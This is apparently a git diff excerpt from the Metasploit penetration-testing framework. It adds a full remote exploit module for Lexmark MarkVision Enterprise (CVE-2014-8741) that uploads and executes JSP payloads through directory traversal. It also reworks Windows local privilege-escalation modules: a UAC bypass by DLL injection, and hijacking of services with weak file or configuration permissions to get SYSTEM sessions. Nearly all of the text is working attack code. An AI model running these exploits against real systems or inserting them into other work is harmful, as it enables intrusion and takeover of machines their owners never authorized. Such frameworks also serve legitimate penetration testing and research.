sploit << egg + "\r\n" # Login name
sploit << rand_text_alpha(8) + "\r\n" # Login password
# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(sploit)
end
end

View File

@ -116,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (res) if (res)
print_error("The server unexpectedly responded, this is not good.") print_error("The server unexpectedly responded, this is not good.")
print_status(res.inspect) print_status(res.to_s)
end end
handler handler

View File

@ -237,7 +237,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Eek! We weren't expecting a response, but we got one") print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG'] if datastore['DEBUG']
print_line() print_line()
print_error(res.inspect) print_error(res.to_s)
end end
end end

View File

@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502 if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one") print_error("Eek! We weren't expecting a response, but we got one")
print_status(res.inspect) if datastore['NNM_DEBUG'] print_status(res.to_s) if datastore['NNM_DEBUG']
end end
handler handler

View File

@ -162,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote
if res and res.code != 502 if res and res.code != 502
print_error("Eek! We weren't expecting a response, but we got one") print_error("Eek! We weren't expecting a response, but we got one")
print_status(res.inspect) if datastore['NNM_DEBUG'] print_status(res.to_s) if datastore['NNM_DEBUG']
end end
handler handler

View File

@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Eek! We weren't expecting a response, but we got one") print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG'] if datastore['DEBUG']
print_error('') print_error('')
print_error(res.inspect) print_error(res.to_s)
end end
end end

View File

@ -159,7 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error("Eek! We weren't expecting a response, but we got one") print_error("Eek! We weren't expecting a response, but we got one")
if datastore['DEBUG'] if datastore['DEBUG']
print_error('') print_error('')
print_error(res.inspect) print_error(res.to_s)
end end
end end

View File

@ -0,0 +1,155 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1.
A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated
attacker to upload arbitrary files, including arbitrary JSP code. This module has been
tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
},
'Author' =>
[
'Andrea Micalizzi', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-8741'],
['ZDI', '14-410'],
['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US']
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Lexmark Markvision Enterprise 2.0', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 09 2014'))
register_options(
[
Opt::RPORT(9788),
OptString.new('TARGETURI', [true, 'ROOT path', '/'])
], self.class)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html')
})
version = nil
if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/
version = $1
else
return Exploit::CheckCode::Unknown
end
if Gem::Version.new(version) <= Gem::Version.new('2.0.0')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
jsp_leak = jsp_path
jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
# By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
# Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf"
print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...")
if upload_file(traversal_leak, jsp_leak)
print_good("#{peer} - JSP successfully uploaded")
else
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
end
res = execute(jsp_name_leak)
if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/
upload_path = $1
print_good("#{peer} - Working directory found in #{upload_path}")
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak))
else
print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
end
jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
jsp_payload = payload.encoded
traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf"
print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...")
if upload_file(traversal_payload, jsp_payload)
print_good("#{peer} - JSP successfully uploaded")
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path
else
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
end
print_status("#{peer} - Executing payload...")
execute(jsp_payload_name, 3)
end
def upload_file(filename, contents)
good_signature = rand_text_alpha(4 + rand(4))
bad_signature = rand_text_alpha(4 + rand(4))
post_data = Rex::MIME::Message.new
post_data.add_part(good_signature, nil, nil, 'form-data; name="success"')
post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"')
post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature)
return true
else
return false
end
end
def execute(jsp_name, time_out = 20)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, jsp_name),
'method' => 'GET'
}, time_out)
res
end
def jsp_path
jsp =<<-EOS
<%@ page language="Java" import="java.util.*"%>
<%
out.println("Path:" + System.getProperty("catalina.home"));
%>
EOS
jsp
end
end

View File

@ -10,9 +10,11 @@ class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking Rank = ExcellentRanking
include Exploit::EXE include Exploit::EXE
include Exploit::FileDropper
include Post::File include Post::File
include Post::Windows::Priv include Post::Windows::Priv
include Post::Windows::ReflectiveDLLInjection include Post::Windows::ReflectiveDLLInjection
include Post::Windows::Runas
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
@ -32,7 +34,9 @@ class Metasploit3 < Msf::Exploit::Local
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
'mitnick', 'mitnick',
'mubix', # Port to local exploit 'mubix', # Port to local exploit
'Ben Campbell' # In memory technique 'Ben Campbell', # In memory technique
'Lesage', # Win8+ updates
'OJ Reeves' # Win 8+ updates
], ],
'Platform' => [ 'win' ], 'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ], 'SessionTypes' => [ 'meterpreter' ],
@ -47,43 +51,78 @@ class Metasploit3 < Msf::Exploit::Local
'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html' 'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
] ]
], ],
'DisclosureDate'=> "Dec 31 2010" 'DisclosureDate'=> 'Dec 31 2010'
)) ))
end end
def bypass_dll_path def exploit
# path to the bypassuac binary # Validate that we can actually do things before we bother
path = ::File.join(Msf::Config.data_directory, "post") # doing any more work
validate_environment!
check_permissions!
# decide, x86 or x64 # get all required environment variables in one shot instead. This
sysarch = sysinfo["Architecture"] # is a better approach because we don't constantly make calls through
if sysarch =~ /x64/i # the session to get the variables.
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i) env_vars = get_envs('TEMP', 'WINDIR')
fail_with(
Exploit::Failure::BadConfig, case get_uac_level
"x86 Target Selected for x64 System" when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
) )
end when UAC_DEFAULT
print_good('UAC is set to Default')
if sysarch =~ /WOW64/i print_good('BypassUAC can bypass this setting, continuing...')
return ::File.join(path, "bypassuac-x86.dll") when UAC_NO_PROMPT
else print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
return ::File.join(path, "bypassuac-x64.dll") shell_execute_exe
end return
else
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
"x64 Target Selected for x86 System"
)
end
::File.join(path, "bypassuac-x86.dll")
end end
dll_path = bypass_dll_path
payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"
upload_payload_dll(payload_filepath)
pid = spawn_inject_proc(env_vars['WINDIR'])
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
run_injection(pid, dll_path, file_paths)
# Windows 7 this is cleared up by DLL but on Windows
# 8.1 it fails to delete the the file.
register_file_for_cleanup(file_paths[:szElevDllFull])
end end
def bypass_dll_path
# path to the bypassuac binary
path = ::File.join(Msf::Config.data_directory, 'post')
# decide, x86 or x64
sysarch = sysinfo['Architecture']
if sysarch =~ /x64/i
unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
'x86 Target Selected for x64 System'
)
end
return ::File.join(path, 'bypassuac-x64.dll')
else
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
fail_with(
Exploit::Failure::BadConfig,
'x64 Target Selected for x86 System'
)
end
return ::File.join(path, 'bypassuac-x86.dll')
end
end
def check_permissions! def check_permissions!
# Check if you are an admin # Check if you are an admin
@ -97,139 +136,135 @@ class Metasploit3 < Msf::Exploit::Local
if admin_group if admin_group
print_good('Part of Administrators group! Continuing...') print_good('Part of Administrators group! Continuing...')
else else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module") fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end end
end end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low] if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level") fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end end
end end
def run_injection(pid, dll_path, file_paths)
def exploit
validate_environment!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Exploit::Failure::NotVulnerable,
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
)
when UAC_DEFAULT
print_good "UAC is set to Default"
print_good "BypassUAC can bypass this setting, continuing..."
when UAC_NO_PROMPT
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method
return
end
check_permissions!
@temp_path = expand_path('%TEMP%').strip
upload_payload_dll!
pid = spawn_inject_proc
run_injection(pid, bypass_dll_path)
# delete the uac bypass payload
vprint_status("Cleaning up payload file...")
file_rm(payload_filepath)
end
def payload_filepath
"#{@temp_path}\\CRYPTBASE.dll"
end
def runas_method
payload = generate_payload_exe
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tmpdir = expand_path("%TEMP%")
tempexe = tmpdir + "\\" + payload_filename
write_file(tempexe, payload)
print_status("Uploading payload: #{tempexe}")
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
print_status("Payload executed")
end
def run_injection(pid, dll_path)
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}") vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
begin begin
path_struct = create_struct(file_paths)
vprint_status("Opening process #{pid}") vprint_status("Opening process #{pid}")
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
exploit_mem, offset = inject_dll_into_process(host_process, dll_path) exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
vprint_status("Executing payload")
thread = host_process.thread.create(exploit_mem + offset, 0) vprint_status("Injecting struct into #{pid}")
struct_addr = host_process.memory.allocate(path_struct.length)
host_process.memory.write(struct_addr, path_struct)
vprint_status('Executing payload')
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
print_good("Successfully injected payload in to process: #{pid}") print_good("Successfully injected payload in to process: #{pid}")
client.railgun.kernel32.WaitForSingleObject(thread.handle,14000) client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
rescue Rex::Post::Meterpreter::RequestError => e rescue Rex::Post::Meterpreter::RequestError => e
print_error("Failed to Inject Payload to #{pid}!") print_error("Failed to Inject Payload to #{pid}!")
vprint_error(e.to_s) vprint_error(e.to_s)
end end
end end
# Create a process in the native architecture
def spawn_inject_proc(win_dir)
def spawn_inject_proc print_status('Spawning process with Windows Publisher Certificate, to inject into...')
windir = expand_path("%WINDIR%").strip if sysinfo['Architecture'] =~ /wow64/i
print_status("Spawning process with Windows Publisher Certificate, to inject into...") cmd = "#{win_dir}\\sysnative\\notepad.exe"
cmd = "#{windir}\\System32\\notepad.exe" else
cmd = "#{win_dir}\\System32\\notepad.exe"
end
pid = cmd_exec_get_pid(cmd) pid = cmd_exec_get_pid(cmd)
unless pid unless pid
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...") fail_with(Exploit::Failure::Unknown, 'Spawning Process failed...')
end end
pid pid
end end
def upload_payload_dll(payload_filepath)
def upload_payload_dll!
payload = generate_payload_dll({:dll_exitprocess => true}) payload = generate_payload_dll({:dll_exitprocess => true})
print_status("Uploading the Payload DLL to the filesystem...") print_status('Uploading the Payload DLL to the filesystem...')
begin begin
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..") vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
write_file(payload_filepath, payload) write_file(payload_filepath, payload)
register_file_for_cleanup(payload_filepath)
rescue Rex::Post::Meterpreter::RequestError => e rescue Rex::Post::Meterpreter::RequestError => e
fail_with( fail_with(
Exploit::Exception::Unknown, Exploit::Failure::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}" "Error uploading file #{payload_filepath}: #{e.class} #{e}"
) )
end end
end end
def validate_environment! def validate_environment!
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system? fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? || is_system?
winver = sysinfo["OS"] winver = sysinfo['OS']
unless winver =~ /Windows 2008|Windows [7]/ case winver
when /Windows (7|8|2008|2012)/
print_good("#{winver} may be vulnerable.")
else
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.") fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
end end
if is_uac_enabled? if is_uac_enabled?
print_status "UAC is Enabled, checking level..." print_status('UAC is Enabled, checking level...')
else else
if is_in_admin_group? unless is_in_admin_group?
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...") fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
else
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
end end
end end
end end
def get_file_paths(win_path, payload_filepath)
paths = {}
case sysinfo['OS']
when /Windows (7|2008)/
paths[:szElevDll] = 'CRYPTBASE.dll'
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
when /Windows (8|2012)/
paths[:szElevDll] = 'NTWDBLIB.dll'
paths[:szElevDir] = "#{win_path}\\System32"
# This should be fine to be left blank
paths[:szElevDirSysWow64] = ''
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"
end
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
paths[:szTempDllPath] = payload_filepath
paths
end
# Creates the paths struct which contains all the required paths
# the dll needs to copy/execute etc.
def create_struct(paths)
# write each path to the structure in the order they
# are defined in the bypass uac binary.
struct = ''
struct << fill_struct_path(paths[:szElevDir])
struct << fill_struct_path(paths[:szElevDirSysWow64])
struct << fill_struct_path(paths[:szElevDll])
struct << fill_struct_path(paths[:szElevDllFull])
struct << fill_struct_path(paths[:szElevExeFull])
struct << fill_struct_path(paths[:szTempDllPath])
struct
end
def fill_struct_path(path)
path = Rex::Text.to_unicode(path)
path + "\x00" * (520 - path.length)
end
end end

View File

@ -113,8 +113,13 @@ class Metasploit3 < Msf::Exploit::Local
begin begin
print_status("#{server.ljust(16)} Creating service #{name}") print_status("#{server.ljust(16)} Creating service #{name}")
# 3 is Manual startup. Should probably have constants for this junk service_create(name,
service_create(name, display_name, service_executable, 3, server) {
:display => display_name,
:path => service_executable,
:starttype=> "START_TYPE_MANUAL"
},
server)
# If everything went well, this will create a session. If not, it # If everything went well, this will create a session. If not, it
# might be permissions issues or possibly we failed to create the # might be permissions issues or possibly we failed to create the

View File

@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Local
return false return false
end end
if srv_info && srv_info['Name'].empty? if srv_info && srv_info[:display].empty?
print_warning("Service #{service} does not exist.") print_warning("Service #{service} does not exist.")
return false return false
else else
@ -78,15 +78,15 @@ class Metasploit3 < Msf::Exploit::Local
end end
def check def check
srv_info = service_info(@service_name)
if !check_service_exists?(@service_name) if !check_service_exists?(@service_name)
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
srv_info = service_info(@service_name)
vprint_status(srv_info.to_s) vprint_status(srv_info.to_s)
case srv_info['Startup'] case START_TYPE[srv_info[:starttype]]
when 'Disabled' when 'Disabled'
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
@ -235,17 +235,6 @@ class Metasploit3 < Msf::Exploit::Local
service_information = service_info(@service_name) service_information = service_info(@service_name)
if service_information['Startup'] == 'Disabled'
print_status("Service is disabled, attempting to enable...")
service_change_startup(@service_name, 'auto')
service_information = service_info(@service_name)
# Still disabled
if service_information['Startup'] == 'Disabled'
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
end
end
# Check architecture # Check architecture
dll = generate_payload_dll dll = generate_payload_dll
@ -265,29 +254,11 @@ class Metasploit3 < Msf::Exploit::Local
# Run the service, let the Windows API do the rest # Run the service, let the Windows API do the rest
# #
print_status("Launching service #{@service_name}...") print_status("Launching service #{@service_name}...")
if service_restart(@service_name)
begin print_status("Service started...")
status = service_start(@service_name) else
if status == 1 service_information = service_info(@service_name)
print_status("Service already running, attempting to restart...") if service_information[:starttype] == START_TYPE_AUTO
if service_stop(@service_name) == 0
print_status("Service stopped, attempting to start...")
if service_start(@service_name) == 0
print_status("Service started...")
else
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
end
else
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
end
elsif status == 0
print_status("Service started...")
end
rescue RuntimeError => e
raise e if e.kind_of? Msf::Exploit::Failed
if service_information['Startup'] == 'Manual'
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
else
if job_id if job_id
print_status("Unable to start service, handler running waiting for a reboot...") print_status("Unable to start service, handler running waiting for a reboot...")
while(true) while(true)
@ -297,6 +268,8 @@ class Metasploit3 < Msf::Exploit::Local
else else
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end end
else
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
end end
end end
end end

View File

@ -77,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local
os = sysinfo["OS"] os = sysinfo["OS"]
if os =~ /windows/i if os =~ /windows/i
svc = service_info 'nvsvc' svc = service_info 'nvsvc'
if svc and svc['Name'] =~ /NVIDIA/i if svc and svc[:display] =~ /NVIDIA/i
vprint_good("Found service '#{svc['Name']}'") vprint_good("Found service '#{svc[:display]}'")
begin begin
if is_running? if is_running?
@ -92,10 +92,10 @@ class Metasploit3 < Msf::Exploit::Local
end end
if sysinfo['Architecture'] =~ /WOW64/i if sysinfo['Architecture'] =~ /WOW64/i
path = svc['Command'].gsub('"','').strip path = svc[:path].gsub('"','').strip
path.gsub!("system32","sysnative") path.gsub!("system32","sysnative")
else else
path = svc['Command'].gsub('"','').strip path = svc[:path].gsub('"','').strip
end end
begin begin

View File

@ -9,7 +9,13 @@ require 'rex'
class Metasploit3 < Msf::Exploit::Local class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Windows::Services include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
ERROR = Msf::Post::Windows::Error
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
@ -19,10 +25,7 @@ class Metasploit3 < Msf::Exploit::Local
a SYSTEM session. If directly creating a service fails, this module will inspect a SYSTEM session. If directly creating a service fails, this module will inspect
existing services to look for insecure file or configuration permissions that may existing services to look for insecure file or configuration permissions that may
be hijacked. It will then attempt to restart the replaced service to run the be hijacked. It will then attempt to restart the replaced service to run the
payload. This will result in a new session when this succeeds. If the module is payload. This will result in a new session when this succeeds.
able to modify the service but does not have permission to start and stop the
affected service, the attacker must wait for the system to restart before a
session will be created.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'scriptjunkie' ], 'Author' => [ 'scriptjunkie' ],
@ -48,149 +51,153 @@ class Metasploit3 < Msf::Exploit::Local
end end
def exploit def execute_payload_as_new_service(path)
# randomize the filename success = false
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
# randomize the exe name
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
raw = payload.encoded
exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw)
dir_env = session.sys.config.getenvs('SystemRoot', 'TEMP')
sysdir = dir_env['SystemRoot']
tmpdir = dir_env['TEMP']
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
begin
#
# Upload the payload to the filesystem
#
tempexe = tmpdir + "\\" + tempexe_name
fd = session.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
rescue ::Exception => e
print_error("Error uploading file #{filename}: #{e.class} #{e}")
return
end
#attempt to make new service
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
print_status("Trying to add a new service...") print_status("Trying to add a new service...")
adv = session.railgun.advapi32 service_name = Rex::Text.rand_text_alpha((rand(8)+6))
manag = adv.OpenSCManagerA(nil,nil,0x10013) if service_create(service_name, {:path => path, :display=>""}) == ERROR::SUCCESS
if(manag["return"] != 0) print_status("Created service... #{service_name}")
# SC_MANAGER_CREATE_SERVICE = 0x0002 write_exe(path, service_name)
# SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 if service_start(service_name) == ERROR::SUCCESS
# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.")
newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)), success = true
"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
if(newservice["return"] != 0)
print_status("Created service... #{newservice["return"]}")
ret = adv.StartServiceA(newservice["return"], 0, nil)
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
adv.DeleteService(newservice["return"])
adv.CloseServiceHandle(newservice["return"])
if datastore['AGGRESSIVE'] != true
adv.CloseServiceHandle(manag["return"])
return
end
else
print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
end end
service_delete(service_name)
else else
print_status("No privs to create a service...") print_status("No privs to create a service...")
manag = adv.OpenSCManagerA(nil,nil,1) success = false
if(manag["return"] == 0) end
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
return success
end
def weak_service_permissions(service_name, service, path)
success = false
vprint_status("[#{service_name}] Checking for weak service permissions")
if (service_change_config(service_name, {:path => path}) == ERROR::SUCCESS)
print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}")
print_status("[#{service_name}] Restarting service")
res = service_stop(service_name)
if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
write_exe(path, service_name)
if service_restart(service_name)
print_good("[#{service_name}] Service restarted")
success = true
else
print_error("[#{service_name}] Unable to restart service")
end
end
unless (service_change_config(service_name, {:path => service[:path]}) == ERROR::SUCCESS)
print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}")
end end
end end
print_status("Trying to find weak permissions in existing services..")
#Search through list of services to find weak permissions, whether file or config
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
#for each service
service_list.each do |serv|
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
if srvtype != "16"
continue
end
moved = false
configed = false
#default path, but there should be an ImagePath registry key
source = "#{sysdir}\\system32\\#{serv}.exe"
#get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
sourcemaybe = session.fs.file.expand_path(sourceorig)
if( sourcemaybe[0] == '"' )
sourcemaybe = sourcemaybe.split('"')[1]
else
sourcemaybe = sourcemaybe.split(' ')[0]
end
begin
session.fs.file.stat(sourcemaybe) #check if it really exists
source = sourcemaybe
rescue
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
end
#try to exploit weak file permissions
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
session.railgun.kernel32.CopyFileA(tempexe, source, false)
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
moved = true
end
#try to exploit weak config permissions
#open with SERVICE_CHANGE_CONFIG (0x0002)
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
if(servhandleret["return"] != 0)
#SERVICE_NO_CHANGE is 0xFFFFFFFF
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
configed = true
end
adv.CloseServiceHandle(servhandleret["return"])
end return success
if(moved != true && configed != true) end
print_status("No exploitable weak permissions found on #{serv}")
continue def weak_file_permissions(service_name, service, path, token)
end success = false
print_status("Restarting #{serv}") vprint_status("[#{service_name}] Checking for weak file permissions")
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) #get path to exe; parse out quotes and arguments
if(servhandleret["return"] != 0) original_path = service[:path]
#SERVICE_CONTROL_STOP = 0x00000001 possible_path = expand_path(original_path)
if(adv.ControlService(servhandleret["return"],1,56)) if (possible_path[0] == '"')
session.railgun.kernel32.Sleep(1000) possible_path = possible_path.split('"')[1]
adv.StartServiceA(servhandleret["return"],0,nil) else
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") possible_path = possible_path.split(' ')[0]
#Cleanup end
if moved == true
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) unless file?(possible_path)
end # If we cant determine it manually show the user and let them decide if manual inspection is worthwhile
if configed == true print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}")
servhandleret = adv.OpenServiceA(manag["return"],serv,2) end
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) file_permissions = check_dir_perms(possible_path, token)
adv.CloseServiceHandle(servhandleret["return"])
end if file_permissions && file_permissions.index('W')
else print_good("[#{service_name}] Write access to #{possible_path}")
print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
end begin
adv.CloseServiceHandle(servhandleret["return"]) status = service_status(service_name)
if datastore['AGGRESSIVE'] != true no_access = false
return # Unless service is already stopped
end if status[:state] == SERVICE_STOPPED
stopped = true
else else
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") res = service_stop(service_name)
stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
end end
rescue rescue RuntimeError => e
vprint_error("[#{service_name}] #{e} ")
no_access = true
end
if stopped or no_access
begin
if move_file(possible_path, possible_path+'.bak')
write_exe(possible_path, service_name)
print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.")
if service_restart(service_name)
print_good("[#{service_name}] Service restarted")
success = true
else
print_error("Unable to restart service")
end
end
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("[#{service_name}] #{e}")
end
else
vprint_error("[#{service_name}] Unable to stop service")
end
end
return success
end
# If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to
# define the correct servicename.
def write_exe(path, service_name=nil)
vprint_status("[#{service_name}] Writing service executable to #{path}")
exe = generate_payload_exe_service({:servicename=>service_name})
write_file(path, exe)
register_files_for_cleanup(path)
end
